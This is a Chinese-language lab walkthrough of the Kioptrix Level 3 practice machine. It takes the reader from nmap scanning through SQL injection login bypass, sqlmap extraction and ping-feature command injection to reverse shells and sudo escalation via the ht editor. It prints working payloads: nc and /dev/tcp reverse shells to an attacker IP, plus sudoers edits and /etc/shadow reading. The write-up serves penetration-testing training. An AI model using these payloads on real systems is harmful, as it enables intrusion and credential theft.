恒美微站 Logo 恒美微站
  • 首页
  • 关于我们
  • 建站服务
  • 主题模板
  • 案例展示
  • 资讯中心
  • 联系我们

Kioptrix Level 3靶场实战:从SQL注入到命令注入再到权限提升

  • 首页
  • 资讯中心
  • /
  • Kioptrix Level 3靶场实战:从SQL注入到命令注入再到权限提升

相关资讯

SST与SSTI:服务器端模板注入原理、攻击链与防御术语全解析 2026/10/16 9:57:53
SST技术标准体系:国内外差异、最新进展与落地实践 2026/10/16 9:57:53
Spring Boot异步与同步任务实战:从@Async到线程池,彻底告别接口卡顿 2026/10/16 9:57:53

最新资讯

CDH5.14.0集群环境准备:从主机规划到系统调优完整指南
ZCC485高速低功耗RS485/RS422收发芯片设计与调试实战
C# WinForms 自绘仪表控件:圆表、直表、旋钮、开关、指示灯从零实现与避坑指南
Rubin PCIe 6.0单宽液冷卡:数据中心高密度算力部署实战指南
仿抖音上下滑视频切换:RecyclerView + SnapHelper + Media3实战避坑
MFC命令行编译全流程:从预编译头到cl、rc、link实战

今日推荐

Java八种基本类型深度解析:从内存布局到实战选型
基础:常用快捷键——IDEA、VS Code、PyCharm 与 Linux 终端效率速查
解决ultraedit下verilog .v文件中文注释乱码:把编码配置改到TaoToken辅助排查

本周热门

UE动画修改实战:从资产编辑到重定向与蒙太奇驱动
统计随机数生成器攻击下的KLJN安全密钥交换协议Matlab仿真
政务API安全治理:资产测绘、低代码编排与行标对标实践

本月精选

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证
2026 大模型集体涨价:用 Python 做企业 Token 成本测算与选型避坑(附配置)

Kioptrix Level 3靶场实战:从SQL注入到命令注入再到权限提升

发布时间:2026/10/16 10:02:53
Kioptrix Level 3靶场实战:从SQL注入到命令注入再到权限提升 断断续续刷了不少靶场Kioptrix Level 3 是我个人觉得比较适合拿来练手的一台。它是典型的低版本 Linux 靶机开局只有 80 端口的 Web 服务整条攻击链路从端口发现开始经过 Web 漏洞利用一路打到系统权限提升中间没有太多花哨的东西正好把渗透测试里最核心的信息收集 → 漏洞利用 → 提权这条主线完整走了一遍。如果你刚学完 Web 安全的基础知识想找一台有点难度但又不至于劝退的靶机练手或者已经在准备面试、想巩固命令注入和提权的思路这台靶机都很合适。练完它你至少能搞明白三件事为什么登录口经常是突破口、命令注入怎么从一个测试功能演变成远程控制、以及拿到低权限 Shell 之后该往哪个方向找提权点。下面我把完整思路和实操过程写出来全程按我自己的打靶顺序来细节尽量说透。1. 靶场定位与攻防思路设计1.1 Kioptrix Level 3 是什么能练出哪些能力Kioptrix Level 3 属于典型的故意搭出来给人打的练习靶机。系统版本比较老上面跑着 Apache 和一套 PHP 写的 Web 应用没有复杂的中间件也没有刻意加固。它的核心价值并不是难而是让你在一个接近真实的环境中把渗透测试的标准流程完整走一遍。具体练到的能力点有这么几块Web 应用层的漏洞发现登录模块的 SQL 注入、后台功能的命令注入基础工具的使用nmap 扫描、curl 手工验证、sqlmap 辅助、netcat 反弹 Shell系统层面的权限提升sudo -l 检查、利用被授予 root 权限的普通程序做越权操作问题定位与复盘每一步操作都可能失败需要快速判断是自己用错命令还是目标环境的问题。换句话说这套靶机练的不是某个 0day 的利用细节而是从黑盒到 Root这条最短路径上必备的基本功。相比那些动不动就上域环境、横向移动、免杀的进阶靶场Level 3 更偏向基本功大礼包适合把地基打牢。1.2 攻击路线规划从端口扫描到Root的思路拆解打任何一台靶机我在动手之前习惯先在纸上列一条路线避免东一榔头西一棒子。这台靶机的路线其实非常清晰外部扫描 → 发现 Web 端口 → 摸清 Web 应用逻辑 → 在登录或输入功能处找注入点 → 获得命令执行能力 → 反弹 Shell → 系统内部信息收集 → 找到提权条件 → 拿到 Root。如果给这条路线标个优先级Web 端口是绝对的核心。目标对外开放的服务很少而 Web 应用通常是攻击面最大、逻辑漏洞最多的地方。这一点在真实渗透里同样成立很多内网系统对外就是一套 Web能不能打进去全看 Web 层的漏洞找不找得到。工具方面我实际用到的并不多全部加起来就这些工具用途nmap端口扫描、服务识别、存活探测curl / 浏览器手工访问页面、构造请求sqlmapSQL 注入的自动化验证与数据提取手工也完全够用ncnetcat反弹 Shell 的监听端目标系统自带命令id / whoami / sudo -l 等提权前的信息收集不需要装什么重量级框架这一点也说明这台靶机的门槛很低适合踏踏实实练基本功。2. 信息收集与攻击面梳理先把目标摸透2.1 网络环境搭建与目标发现实操先把环境搭好。我习惯把靶机和攻击机放在同一个虚拟机网络里用 NAT 模式保证双方能互相访问同时跟外部网络隔离避免误扫到别人的设备。开机之后第一件事是确认目标 IP。如果靶机 IP 是自动获取的可以先扫描一下当前网段的存活主机nmap -sn 192.168.x.0/24或者用 ARP 扫描速度更快结果也更直接arp-scan --interface eth0 --localnet多出来的那台陌生主机基本就是靶机。这里有个小经验如果扫出来的主机数量和自己预期不符先怀疑虚拟机网络模式有没有配对靶机网卡有没有正常建起来别急着往下走。确认 IP 之后把它记下来后面所有命令都会用到。我习惯顺手把 IP 写进/etc/hosts,省得反复敲、还容易敲错。这个习惯在真实项目里也很有用目标一多靠脑子记 IP 迟早会出错。2.2 端口扫描与服务识别为什么版本信息不能忽略拿到目标 IP 之后第一步是摸清开放端口。我使用的命令是nmap -sV -sC -p- 192.168.x.x -oN kioptrix3_initial.txt-sV做服务版本识别-sC跑默认安全脚本-p-指定全端口扫描。这台靶机端口本身不多全端口扫也不会花太长时间。扫描结果一般是22 端口开着 SSH80 端口开着 Apache。很多新手看到结果就兴奋地往 80 冲但这里我想强调一点别急着走先把服务版本信息保存下来。版本信息后面无论是查已知漏洞、判断系统类型还是评估可用工具都能派上用场。-oN把结果存成文件就是给自己留一张可回溯的记录。从 Apache 的返回头和服务行为来看这是老版本 Linux 上跑的老版本 ApacheWeb 应用是 PHP。老系统意味着两件事一是可能存在大量历史漏洞可以利用二是系统自带的命令版本也很老某些现代提权手法不一定适用。2.3 Web应用初步探测登录口是最值得怀疑的地方浏览器打开http://192.168.x.x第一眼看到的是一个普通得不能再普通的站点。表面上就是内容展示页但仔细翻一翻能发现一个会员登录入口。这个入口非常关键。我的判断逻辑是登录功能至少涉及三块逻辑——用户输入、数据库查询、会话管理任何一块出问题都可能变成突破口。所以我把主要精力放在了这里。我习惯先手工点一点、观察 URL 变化和表单结构再上工具。手工主要看这些内容表单提交方式是 GET 还是 POST、参数名是什么、有没有隐藏字段、有没有前端 JavaScript 校验。这套习惯在真实渗透里同样适用因为自动化工具经常漏掉需要特定会话或特定步骤才能触发的漏洞。我也顺手跑了一下目录扫描想看看有没有后台目录或备份文件。不过这台的 Web 目录结构比较收敛真正的重头戏还是前面发现的登录口。到这里信息收集阶段基本结束攻击面已经明确下一步就是动手试探。3. Web漏洞利用从登录口一路打到命令执行3.1 SQL注入绕过登录认证单引号引发的连锁反应登录口是第一个怀疑对象。我首先在用户名字段输入一个单引号观察反应——如果系统报出 SQL 语法错误说明输入被原样拼进了 SQL 语句。这台靶机果然没让我失望单引号直接触发了数据库报错。这意味着登录验证的 SQL 语句很可能是类似这种结构SELECT * FROM users WHERE username$input AND password$pass既然输入直接进了 SQL 语句我就在用户名字段构造万能密码 OR 11 --原理很直白单引号闭合掉前面的字符串OR 11让判断永远为真--注释掉后面的密码校验部分。整条语句实际变成了只要存在一条用户记录就认证通过。登录成功后页面直接变成了后台管理界面。这里多说一句SQL 注入发现之后除了打进去这个最直接的利用方式还要意识到数据库本身比 Web 页面更值钱。库里的用户名、密码、业务数据都是后续渗透的弹药。我用 sqlmap 把数据库结构拉了一遍sqlmap -u http://192.168.x.x/member.php?actionlogin --datausernameadminpassword123 --level3 --risk2 --dbs考虑到这是练习环境SQL 注入的语法特征非常明显sqlmap 跑得很顺利。从库里取出了一张用户表里面有账户名和密码哈希。这些凭据在真实场景里可以尝试 SSH 登录很多运维习惯把 Web 后台和系统账号的密码设成同一个运气好就直接拿到 Linux 系统用户了。不过对这台靶机来说还有一条更直接的路径在等着我。3.2 后台命令注入一个Ping功能如何变成突破口进入后台管理界面后我发现里面提供了一个Ping 测试功能允许输入一个 IP 地址系统会执行 ping 命令并返回结果。这个功能本身就属于高危业务功能——它存在的目的就是执行系统命令那么它极有可能存在命令注入。我先输入一个普通 IP页面正常返回 ping 结果接着在 IP 后面加上分号和命令127.0.0.1; id如果返回结果里出现了 uid、gid 这些信息说明输入被原样传给了 shell。这台的响应非常干脆id的输出直接出现在了回显里命令注入确认成立。为什么这里会出问题根本原因在于后端代码极有可能把整个输入直接拼进了system()或类似的命令执行函数没有对分号、管道符、$()这类特殊字符做过滤。这个问题在真实环境里同样常见——很多运维自己写的管理脚本图省事就把用户输入直接拼进命令等被打了才发现。命令注入存在意味着我已经获得了在 Web 服务进程权限下执行任意命令的能力。接下来要做的是把这条能力升级成稳定的 Shell 通道。3.3 反弹Shell落地细节踩过的坑和实测有效的姿势获得命令执行能力后有两种选择一种是在网页回显里一条条敲命令也就是半交互 Shell另一种是反弹一个全功能的交互式 Shell 回攻击机。后者明显舒服得多Tab 补全、上下键翻历史、跑交互式工具都不受限制。反弹 Shell 的操作分两步。第一步在攻击机上用 nc 监听一个端口nc -lvnp 4444第二步在目标的命令注入点执行反弹命令。这里有一个关键细节目标系统是 Linux但 bash 版本不确定网上常见的 bash 反弹语句不一定适用。我当时是先探测目标上有哪些可用工具127.0.0.1; which nc 127.0.0.1; which netcat如果目标自带 nc用传统方式反弹127.0.0.1; nc 192.168.x.x 4444 -e /bin/bash如果新版 nc 不支持-e参数或者 Web 层把引号过滤掉了就改用 bash 的/dev/tcp写法127.0.0.1; bash -c bash -i /dev/tcp/192.168.x.x/4444 01我在实际测试中发现这台靶机对带引号的 Payload 处理比较敏感Web 层的输入校验会吃掉一部分特殊字符。一个省事的办法是把 Payload 做 URL 编码再提交或者用目标上原本就有的命令来绕过。第一次反弹失败很正常多试几种姿势别死磕一条命令。反弹 Shell 成功建立之后攻击机的 nc 窗口就会出现一个 Shell 提示符。到这里Web 用户这一步算是真正站稳了。再强调一遍所有反弹 Shell 操作都必须在授权的靶场环境里进行千万别拿这套东西对着不属于自己的系统乱试。4. 权限提升从Web用户到Root的最后一跃4.1 低权限信息收集sudo -l 永远是提权第一步拿到低权限 Shell 之后先别急着翻漏洞脑子里的第一优先级是摸清楚这台机器的底细。我按顺序执行了这些命令whoami id uname -a sudo -l cat /etc/passwd前两条确认当前身份和权限组第三条看内核版本第四条是提权路上的关键命令——检查当前用户有哪些 sudo 权限最后一条是为了看系统里有几个用户判断哪些账号更有利用价值。在真实渗透里sudo -l的输出几乎决定了接下来的提权路径。如果某个用户对某个命令有 sudo 权限而那个命令又能变成以 root 身份执行任意操作提权基本就稳了。这台靶机的sudo -l结果很有意思当前用户被允许以 root 身份执行位于/usr/local/bin/ht的程序而且不需要密码。ht 是什么它是个老牌的文本编辑器功能风格有点接近早期的简易文件管理器风格能看文件也能改文件。一个编辑器被赋予 root 权限这个组合本身就是危险的信号。4.2 用文本编辑器撬开Root权限ht的妙用我当时的思路很直接既然能以 root 身份运行 ht那我就能用它打开系统里任何 root 才能读写的文件。ht 是交互式程序直接在反弹 Shell 里运行会拿不到完整屏幕所以先要设置终端环境变量export TERMxterm sudo /usr/local/bin/ht进入 ht 之后界面的操作方式和普通编辑器不一样要用功能键来切换菜单。我的做法是打开文件浏览功能找到/etc/sudoers把当前用户这一行改成或增加一条ALL权限比如当前用户名 ALL(ALL) ALL保存退出之后再执行sudo bash直接就换到了 root 身份的 Shell。如果你不想改 sudoers还有更直接的用法用 ht 打开/etc/shadow或者/root目录下的敏感文件把密码哈希或私钥直接读出来。因为 ht 是以 root 权限运行的所以读取普通用户无法访问的文件没有任何障碍。也就是说这个编辑器一旦被 root 授权就等同于给低权限用户发了一张任意读系统文件的通行证。4.3 为什么编辑器会变成提权神器粗粒度授权的代价很多新手到这里会困惑一个编辑器而已怎么就成了提权神器根源在于 sudo 配置的粒度太粗。sudo 的设计初衷是把某条命令的执行权限授权给某个用户它的安全边界完全取决于被授权的命令本身。如果授权命令是whoami、date这类无伤大雅的工具风险确实可控但像 ht 这种可以读写任意文件的编辑器一旦被授予 root 权限就等价于把系统文件的钥匙直接交给了用户。正确的做法应该是要么不给 sudo 权限要么只允许以受控方式调用特定功能比如通过包装脚本限定参数绝不能直接让用户以 root 身份运行一个通用文本编辑器。这台靶机显然就是故意留了这样一个配置项目的就是让你亲眼看到最小权限原则被破坏之后会带来什么后果。我个人的体会是权限提升这一关练的不是单点漏洞利用技巧而是信息收集之后的分析能力。看到sudo -l的输出你要在十秒之内判断出这个命令能不能用、怎么用、用完能不能拿到 root。这种敏锐度只能靠多打靶机、多复盘来积累。5. 常见问题与避坑指南打靶过程中的实战经验5.1 常见报错速查表打这台靶机的时候我周围不少人卡在某些小问题上我把几个典型场景整理成了一张表现象可能原因解决办法打不开 Web 页面靶机和攻击机不在同一网段检查虚拟机网络模式确保双方能互通SQL 注入没反应输入的闭合符号不对先试单引号再试双引号、括号等闭合方式命令注入执行不了Web 层做了字符过滤换用管道符、$()、反引号等绕过或对 Payload 编码反弹 Shell 没连上目标没有 nc或 bash 版本不支持先探测目标环境再选择对应 Payloadht 界面花屏TERM 环境变量没设置导出TERMxterm再运行sudo 执行被拒绝用户名不匹配或 sudoers 语法错误仔细看 sudo -l 输出确认被授权的用户和命令路径5.2 几条很重要的实操心得第一个心得手工验证永远比盲跑工具强。SQL 注入那一关我先把报错用手工确认了再让 sqlmap 跑数据整个过程心里有数。反过来如果一上来就无脑跑工具遇到工具跑不通的情况你根本不知道问题出在哪一层。第二个心得反弹 Shell 的 Payload 要按目标系统定制。别从网上随便复制一条 bash 反弹命令就往目标上丢。先确认目标有没有 ncbash 版本支不支持/dev/tcp再决定用哪条思路。一次成功的反弹 Shell往往是因为多花了三十秒探测环境。第三个心得提权之前一定要把我有什么权限这个问题彻底搞清楚。sudo -l、id、内核版本、可写目录这些都是最底层的情报。很多时候提权点就在这些输出里只是你的注意力全放在所谓的高级 0day 上把眼前的信息忽略了。第四个心得遇到问题先复现原因再想解决办法。靶场是可控环境适合反复试验。我在调试命令注入时就遇到过带引号的 Payload 被过滤的问题后来发现用编码方式就能绕过去。这种经验在真实环境里同样有参考价值因为真实系统往往也做了类似的输入校验。最后再分享一个小技巧每做完一步操作就在本地笔记里记一条当前状态 下一步计划。打靶场很容易上头一上头就会忘记自己扫到哪、注入到哪、Shell 在哪台机器上。有笔记兜底即使中途思路断了回看笔记也能快速恢复。这个习惯我从打 Kioptrix 开始一直保留到现在做实际项目时也一直在用。

关于恒美微站

恒美微站专注于为个体商户、工作室提供极简自助建站服务,让每个人都能轻松拥有专业网站。

快速链接

  • 关于我们
  • 建站服务
  • 主题模板
  • 案例展示
  • 资讯中心

服务项目

  • 可视化建站
  • 拖拽编辑
  • 主题定制
  • SEO 优化
  • 网站托管

联系方式

  • 📍 地址:北京市朝阳区建国路 88 号
  • 📞 电话:400-888-8888
  • ✉️ 邮箱:info@hmyw.cn
  • 🕐 时间:周一至周日 9:00-18:00

© 2024 恒美微站 hmyw.cn 版权所有 | 京 ICP 备 12345678 号